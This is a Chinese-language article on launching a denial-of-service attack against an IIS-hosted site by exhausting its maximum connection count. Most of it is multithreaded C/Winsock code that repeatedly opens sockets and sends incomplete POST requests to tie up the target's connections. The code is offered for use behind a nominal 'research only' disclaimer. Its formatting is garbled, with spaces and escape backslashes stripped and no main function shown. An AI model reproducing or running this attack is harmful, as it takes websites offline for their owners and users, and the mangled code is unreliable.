利用IIS最大连接数实现网站DOS(图)
利用IIS最大连接数实现网站DOS(图)
发布时间:2016-12-26 来源:查字典编辑
摘要:安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各...

安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!

最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。

这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议ContentLenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:

#include"winsock.h"

#include"stdio.h"

#include"string.h"

#include"io.h"

#pragmacomment(lib,"ws2_32.lib")

#defineBUFLEN1024

#defineMAXThreadCount10//设置最大线程数

intThreadCount=0;

structmydata

{

char*ip;

intport;

};

unsignedintresolve(char*name)

{

structhostent*he;

unsignedintip;

if((ip=inet_addr(name))==(-1))

{

if((he=gethostbyname(name))==0)

return0;

memcpy(&ip,he->h_addr,4);

}

returnip;

}

DWORDWINAPIDos(LPVOIDlpParam)

{

mydata*csdn=(mydata*)lpParam;

structsockaddr_inserver;

server.sin_family=AF_INET;

server.sin_port=htons(csdn->port);

server.sin_addr.s_addr=resolve((char*)csdn->ip);

if(server.sin_addr.s_addr==0)

{

printf("Don’tfindaddress%sn",(char*)csdn->ip);

exit(0);

}

intmy;

charbuf[100]="POST/HTTP/1.1rnHost:";

strcat(buf,(char*)csdn->ip);

strcat(buf,"rnContent-Length:10rnrn");

my=socket(PF_INET,SOCK_STREAM,0);

if(my==INVALID_SOCKET)

{

printf("ERROR");

exit(0);

}

if(connect(my,(structsockaddr*)&server,sizeof(server))==SOCKET_ERROR)

{

printf("SocketERROR:%d",GetLastError());

exit(0);

}

if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:sendfail!");}

ThreadCount--;

return0;

}

voidthread(char*a1,char*a2,char*a3)

{

staticmydatatmp;

tmp.ip=a1;

tmp.port=atoi(a2);

DWORDdwThreadId;

HANDLEhThread;

WSADATAws;

if(WSAStartup(MAKEWORD(2,2),&ws)!=0)

{

printf("[-]WSAStartup()errorn");

exit(0);

}

hThread=CreateThread(

NULL,//nosecurityattributes

0,//usedefaultstacksize

Dos,//threadfunction

&tmp,//argumenttothreadfunction

0,//usedefaultcreationflags

&dwThreadId);//returnsthethreadidentifier

if(hThread==NULL)

printf("CreateThreadfailed.");

ThreadCount++;

Sleep(200);//延时,否则CPU会用满……

CloseHandle(hThread);

}

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类